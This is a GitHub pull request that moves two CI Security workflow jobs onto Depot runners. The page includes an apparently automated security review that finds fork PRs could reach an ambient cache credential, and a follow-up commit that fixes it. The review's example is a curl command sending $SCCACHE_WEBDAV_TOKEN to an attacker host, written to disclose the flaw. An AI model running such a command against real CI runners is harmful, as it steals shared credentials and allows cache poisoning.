Repository navigation
perf(ci): take the Security lane's queue waits onto Depot runners - #128865
fuziontech wants to merge 2 commits into
Conversation
|
Merging to
After your PR is submitted to the merge queue, this comment will be automatically updated with its status. If the PR fails, failure details will also be posted here |
|
Hey @fuziontech! 👋 It looks like your git author email on this PR isn't your
You can fix it for this repo with: git config user.email "you@posthog.com"Or set it globally with |
🤖 CI report🚨 Trunk lane — universal laneThis PR is assigned to the universal lane. It cannot merge in parallel with other PRs, so it can take longer to merge. Ask dev-ex if you think this is wrong. |
The Security workflow is the required check that ends CI for 62% of pull requests (13 of 21 sampled). Its two non-scan jobs spend nearly all their wall time waiting for a GitHub-hosted runner to pick them up: - `changes` does ~10s of work but is first on the lane, so every scan waits behind it: median 1.9 min, p90 4.7 min over 40 merged pull requests. - `Semgrep Checks Pass` only reads `needs` results and is last on the lane: median 1.4 min, p90 4.6 min. Depot runners start in 0-2s. Both jobs move onto `depot-ubuntu-24.04` for pull requests from this repository, which removes that queue from the lane. Replaying the 40 sampled pull requests through the new graph takes a median 4.3 min off each one. `changes` keeps GitHub-hosted for fork pull requests: it checks out the fork head and runs `./.github/actions/paths-filter` from it, and Depot injects shared cache credentials ambiently. The gate needs no guard because it only reads `needs` results: no checkout, no fork code, no secrets. The skill's Runners rule said light jobs go on Depot only for `trunk-merge/` runs. That rule and the two cases above now agree. Co-authored-by: Shelley <shelley@exe.dev>
059eaa0 to
cf43a56
Compare
|
Risk: No findings This increment hardens the Security workflow's final gate job the same way the Sentinel reviewed |
|
✅ Security review complete — 1 finding posted as a review (changes requested), in 6 min. Add the |
| # code, no secrets, so an ambient cache credential has nothing to reach. Its | ||
| # GitHub-hosted queue is a median 1.4 min (p90 4.6) of pure lane time, because | ||
| # 62% of pull requests end their required-check lane on this check. | ||
| runs-on: depot-ubuntu-24.04 |
There was a problem hiding this comment.
Fork PRs can run their edited gate script with Depot cache credentials
Details
semgrep_checks now selects Depot for fork PRs too. The absence of checkout does not make this trusted code: this workflow uses pull_request (line 5), so the fork author controls the workflow's run: body at line 707. A fork PR can prepend curl --data-urlencode "token=$SCCACHE_WEBDAV_TOKEN" https://attacker.example/collect to that step without changing its runner selection. !cancelled() also lets the gate run after a failed scan; rejecting the modified workflow in Semgrep would not prevent execution. First-time workflow approval, where required, permits execution before merge rather than requiring the change to land.
The ambient credential is not a secrets.* value that GitHub withholds from forks: _rust-build-images.yml:195-197 reads SCCACHE_WEBDAV_TOKEN directly from the runner environment. The Depot runner documentation describes repository-scoped caches without branch isolation, and pnpm-store-cache.yml:103-104 explicitly relies on keeping their writers trusted. Offline probes confirmed the unconditional fork runner selection and shell access to a synthetic ambient credential without checkout.
Impact — a fork contributor whose Actions run is permitted can steal the shared cache credential and access or poison caches used by trusted jobs. CODEOWNERS review before merge does not protect this pre-merge execution.
Fix — keep fork PR gates on GitHub-hosted runners, and enforce the exclusion of PR-editable workflows from credential-bearing Depot runners outside the editable YAML (runner/workflow policy), or use a Depot pool with no shared cache credentials or privileged cache access.
Agent-driven security review. Live Depot credential provisioning and external runner-access policy are not available in this checkout; the credential-access probe used only a synthetic value.
On pull_request events, a fork PR author controls the workflow step definition, so running the gate on Depot could expose ambient cache credentials. Add the standard fork fallback so only same-repo PRs and pushes run the gate on Depot. Co-authored-by: Shelley <shelley@exe.dev>
Follow-up Review1. Claimed Win Scrutiny (Recomputed from GitHub API)Recomputed per-job queue durations (
2. Workflow Integrity & Required Checks
3. Security Finding & Fix (Commit
|
|
This PR hasn't seen activity in a week! Should it be merged, closed, or further worked on? If you want to keep it open, please remove the |
Problem
CI ends on the Security workflow for 62% of merged pull requests (13 of 21 sampled), and its last minutes are runners starting, not scans. The
changesjob does 10 s of work but sits first on the lane; the gate that ends the lane only readsneedsresults.Changes
changesjob andSemgrep Checks Passgate now run ondepot-ubuntu-24.04for this repository's pull requests. Depot starts a runner in 0-2 s.changes, which runspaths-filterfrom the fork's checkout; Depot injects cache credentials ambiently. The gate has no checkout and no secrets, so it needs no guard.changesOn this PR's own run the gate started 1.0 s after the last scan; it used to sit 1.4 min behind a runner. Replaying the 40 PRs through the new graph agrees: median 4.3 min off each, median lane 15.9 to 13.3 min (-16.6%).
How did you test this code?
hogli lint:workflows: 14/14 across 142 workflows.npx vitest runintools/workflow-plan: 476 pass.uv syncfails onthriftunder Python 3.14).Test rationale: none added. The regression to fear is a fork PR landing on Depot, which the expression rules out by construction.
Release status
Docs update
🤖 Agent context
Autonomy: Fully autonomous
Agent: Shelley, DeepSeek V4.1 Flash (platform alias)
Skills:
/authoring-ci-workflows,/writing-pr-descriptionsMore context for AI agents
semgrep-devexdoes 8-19 min of real work, and needs the 4-vCPU change in perf(ci): scan the devex semgrep rules once, on Depot #127126 instead.semgrep-devexis the lane floor at 11.9 min median; chore(ci): scan only changed files in semgrep-devex on pull requests #125639 targets it.runs-on:lines, and the Runners paragraph.